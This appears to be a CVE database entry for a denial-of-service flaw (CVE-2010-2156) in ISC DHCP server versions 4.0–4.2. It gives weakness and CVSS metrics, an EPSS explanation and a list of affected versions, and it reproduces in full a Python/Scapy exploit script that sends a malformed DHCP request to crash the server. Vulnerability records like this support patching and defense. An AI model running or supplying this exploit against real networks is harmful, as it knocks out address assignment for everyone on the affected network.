Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-189 |
Category : Numeric Errors Weaknesses in this category are related to improper calculation or conversion of numbers. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
5 |
|
AV:N/AC:L/Au:N/C:N/I:N/A:P |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 14185
Publication date : 2010-07-02 22h00 +00:00
Author : sid
EDB Verified : No
#!/usr/bin/env python
# Exploit title: isc-dhcpd DoS
# Date: 03/07/2010
# Author: sid
# Software Link: https://www.isc.org/software/dhcp
# Version: 4.0.x, 4.1.x, 4.2.x
# CVE: cve-2010-2156
# ps: is possible make a bruteforce on subnet ip address to find a correct value.
#
import sys
import string
if len(sys.argv) is 1:
print("Usage: " + sys.argv[0] + "-ip=<legal ip in subnet>")
print("Example: " + sys.argv[0] + " -ip=192.168.1.100")
sys.exit(0)
for i in range(len(sys.argv)):
if string.find(sys.argv[i],"-ip") is 0:
globals()['ip'] = sys.argv[i].split('=')[1]
from scapy.all import *
globals()['verbose'] = 2
def msg(string, level):
if globals()['verbose'] >= level:
print(string)
msg("attack...",2)
p=(Ether(src="aa:aa:aa:aa:aa:aa",dst="ff:ff:ff:ff:ff:ff")/IP(dst="255.255.255.255")/UDP(sport=68,dport=67)/
BOOTP(ciaddr=globals()['ip'],chaddr="\xaa\xaa\xaa\xaa\xaa\xaa")/
DHCP(options=[("message-type","request"),("client_id",""),("end")]))
if p:
p.show()
sendp(p)
#EOF
Products Mentioned
Configuraton 0
Isc>>Dhcp >> Version 4.1.0
Isc>>Dhcp >> Version 4.1.1
Isc>>Dhcp >> Version 4.1.1
Isc>>Dhcp >> Version 4.1.1
Isc>>Dhcp >> Version 4.1.1
Isc>>Dhcp >> Version 4.1.1
Configuraton 0
Isc>>Dhcp >> Version 4.0.0
Isc>>Dhcp >> Version 4.0.1
Isc>>Dhcp >> Version 4.0.1
Isc>>Dhcp >> Version 4.0.1
Isc>>Dhcp >> Version 4.0.2
Isc>>Dhcp >> Version 4.0.2
Isc>>Dhcp >> Version 4.0.2
Isc>>Dhcp >> Version 4.0.2
Isc>>Dhcp >> Version 4.0.2
References